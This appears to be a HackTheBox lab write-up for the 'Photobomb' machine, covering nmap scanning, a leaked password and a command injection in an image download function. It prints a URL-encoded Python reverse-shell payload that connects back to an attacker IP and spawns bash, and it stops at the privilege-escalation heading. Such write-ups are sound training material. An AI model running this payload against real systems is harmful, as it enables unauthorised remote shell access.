Photobomb 10.10.11.182

Background

Photobomb is a Linux base machine from HackTheBox that required your patience in web application knowledge with command injection techniques and the Linux basic concept of sudo is required on the privilege escalation. It is a basic OSCP-like Box.

Command Injection was found on a download function of this web application, which can help to gain initial access. Linpeas show you there is a problem on a sudo job.

[e-mail]

Target Machine: 10.10.11.182

Attacker Machine: 10.10.14.7

Hacking Process Part 0 – Service Scanning

Nmap

1. nmap -p- -T5 --min-rate=1000 10.10.11.182 -oG fkclai.nmap

2. nmap -p $(grep -Eo '[0-9]{1,5}/open' fkclai.nmap | cut -d '/' -f 1 | tr -s '\n' ',') -sC -sV 10.10.11.182 -o nmap-result.txt

Enumeration Strategies

No vulnerability was found on the SSH and HTTP service, it was going to review the web application to check for any information leakage or misconfiguration.

Hacking Process Part 1 – Enumeration

With basic web enumeration, a password was found on a JS file that can log on to an image download function. This download function has a command injection problem.

Possible Command Injection

Command Injection was found on the image download function, the Netcat command can have a response.

the reverse shell does not obtain using netcat reverse shell.

Hacking Process Part 2 – Gaining Foothold

After several tries using the payload on the reverse shell generator, the payload in Python format can be used to obtain the reverse shell.

** Remember to use the HTML parameters format

export+RHOST="10.10.14.7";export+RPORT=1334;python3+-c+'import+sys,socket,os,pty;s=socket.socket();s.connect((os.getenv("RHOST"),int(os.getenv("RPORT"))));[os.dup2(s.fileno(),fd)+for+fd+in+(0,1,2)];pty.spawn("/bin/bash")'

f1d429c717c9e2cebbfaf9ba33aacfc2

Hacking Process Part 3 – Privilege Escalation